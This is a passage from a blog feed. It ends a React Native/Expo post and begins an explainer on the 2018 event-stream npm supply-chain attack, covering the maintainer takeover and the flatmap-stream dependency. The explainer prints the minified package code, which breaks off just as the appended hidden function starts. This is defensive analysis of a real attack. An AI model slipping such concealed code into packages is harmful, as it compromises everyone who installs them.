&lt;p&gt;Along with React Native, we used &lt;a href=&quot;https://expo.dev/&quot;&gt;Expo&lt;/a&gt; to streamline our development process even further. Expo smooths over a number of pain points in the mobile development process. It allows you to run your app on your device by starting up Expo on your computer and then opening the Expo client app. Let that sink in: we developed an entire production application for iOS without once opening Xcode! Expo also offers a build service which abstracts away the complexity of certificate management and other nuances of building a mobile app for the store. Finally, Expo provides over-the-air app updates out of the box. We are able to implement and push out changes to our JavaScript code without having to submit a full build to the app stores for each change, which is normally an excruciating process. This has been particularly helpful for quickly turning around bug fixes, which we can ship to our users in a matter of minutes rather than days.&lt;/p&gt;
&lt;h3&gt;Secret to success&lt;/h3&gt;
&lt;p&gt;Our secret sauce is React Native. The framework gave us an incredible amount of leverage to build and maintain mobile applications with knowledge that we already had from working with React on the web. React Native delivers on the promises that hybrid apps have made for years -- our mobile apps feel smooth and satisfying, and they are virtually indistinguishable from fully native apps. We were able to seamlessly build for both iOS and Android off of a single codebase, tailoring details of the user interface to match the design language and patterns of each platform. The tooling greatly boosted our productivity, allowing us to quickly iterate in development and ship out fixes in a matter of minutes. We have no regrets about our decision, and I encourage you to give React Native a deeper look if your use case sounds like ours.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[event-stream vulnerability explained]]></title><description><![CDATA[If you work with JavaScript at all, you probably saw a ton of noise yesterday about a vulnerability in the event-stream npm package…]]></description><link>https://www.aha.io/engineering/articles/event-stream-vulnerability-explained</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/event-stream-vulnerability-explained</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Tue, 27 Nov 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you work with JavaScript at all, you probably saw a ton of noise yesterday about a vulnerability in the &lt;a href=&quot;https://github.com/dominictarr/event-stream&quot;&gt;event-stream&lt;/a&gt; npm package. Unfortunately, the actual forensic analysis of the issue is buried under 600+ comments on the &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/116&quot;&gt;GitHub issue&lt;/a&gt;, most of which are just people flaming about the state of npm, open source, etc. I thought that was a shame, because the vulnerability was actually exceptionally clever and technically interesting, and teaches some important lessons about maintaining security in JavaScript applications. So I decided to write an explainer detailing what happened, how the attack worked, and how the JavaScript community can better defend against similar attacks in the future.&lt;/p&gt;
&lt;p&gt;Before I begin, I want to credit &lt;a href=&quot;https://github.com/FallingSnow&quot;&gt;FallingSnow&lt;/a&gt;, &lt;a href=&quot;https://github.com/maths22&quot;&gt;maths22&lt;/a&gt;, and &lt;a href=&quot;https://github.com/joepie91&quot;&gt;joepie91&lt;/a&gt; for their excellent forensic analysis. They did all of the hard work of analyzing the vulnerability and working out what it did. I&apos;ll credit them again later when I cite their findings, but I think it&apos;s worthwhile to explicitly state upfront that I didn&apos;t work any of this out myself; I&apos;m just summarizing what others have learned.&lt;/p&gt;
&lt;h3&gt;The background&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/dominictarr/event-stream&quot;&gt;event-stream&lt;/a&gt; is a very popular npm package which exposes a number of helpers for working with streams inside a node application. It currently receives over 1.9 million weekly downloads. However, it hasn&apos;t been in active development for a couple of years; its author, &lt;a href=&quot;https://github.com/dominictarr&quot;&gt;dominictarr&lt;/a&gt;, maintains a large number of projects and no longer had a personal use for &lt;code&gt;event-stream&lt;/code&gt; so it fell to the wayside.&lt;/p&gt;
&lt;p&gt;Sometime around early to mid September, a user with the handle right9ctrl (their GitHub account is now deleted) offered to take over maintenance duties; dominictarr agreed and gave right9ctrl access on GitHub and npm. The &lt;a href=&quot;https://github.com/dominictarr/event-stream/commits/master&quot;&gt;commit log&lt;/a&gt; of their contributions looks innocuous on its surface:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/cda6e4161720ed025352ce401c4bb81f/event-stream-commit-log.png&quot; alt=&quot;Screenshot of event-stream commit log on GitHub&quot;&gt;&lt;/p&gt;
&lt;p&gt;On September 9, right9ctrl &lt;a href=&quot;https://github.com/dominictarr/event-stream/commit/e3163361fed01384c986b9b4c18feb1fc42b8285&quot;&gt;added a dependency&lt;/a&gt; called &lt;code&gt;flatmap-stream&lt;/code&gt; in order to support a &lt;code&gt;flatmap&lt;/code&gt; function in &lt;code&gt;event-stream&lt;/code&gt; (not at all out-of-place as &lt;code&gt;event-stream&lt;/code&gt; already exposes similar utilities like a regular &lt;code&gt;map&lt;/code&gt;). Then, on September 16, right9ctrl removed the &lt;code&gt;flatmap-stream&lt;/code&gt; dependency and &lt;a href=&quot;https://github.com/dominictarr/event-stream/commit/908fee5c65d4eb02809a84a1ebc3e5df1f935cd1&quot;&gt;directly implemented&lt;/a&gt; the flatmap function within &lt;code&gt;event-stream&lt;/code&gt;. Again, nothing to really raise concern here: it&apos;s certainly not uncommon to add a new dependency and then decide a few days later that it would be better to implement yourself.&lt;/p&gt;
&lt;h3&gt;The attack&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/hugeglass/flatmap-stream&quot;&gt;flatmap-stream&lt;/a&gt; library also appears innocuous on its surface -- it does, in fact, implement a flat map for streams (though it should raise some eyebrows if anyone were looking at it -- 1 contributor, no downloads on npm prior to this event).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/4a0befee1ca59898b9168c58096fb689/flatmap-stream.png&quot; alt=&quot;Screenshot of flatmap-stream on GitHub&quot;&gt;&lt;/p&gt;
&lt;p&gt;However, the version published to npm snuck some additional code into the minified file, which you would be entirely forgiven for missing even if you knew it was there:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Stream&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;stream&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).Stream;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Stream,a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,o&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,l&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,c&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,d&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{}).failures&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;failure&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,m&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{};&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; w&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;i.emit.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i,[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,r]),c&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;m[e]&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;r,m.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasOwnProperty&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(t)){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;m[t];&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; delete&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; m[t],&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n,t)}a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;drain&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)),u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;())}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){l&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,r&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;n.failures&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(e,t),r&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;i.emit.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i,[d,r]),s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,r,&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r,e,t)})}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; v&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.writable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;r)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; w&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r,a);a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(i.readable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;end&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;destroy&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;())}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i.writable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.readable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(u)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;flatmap stream is not writable&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r){a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r[e],a,p);&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;t)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;f}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(s)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r),&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;f}},i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r)},i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;destroy&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,i.writable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;i.readable&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;nextTick&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;close&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)})},i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pause&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;},i.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;resume&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=!&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;},i};&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;require,t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span 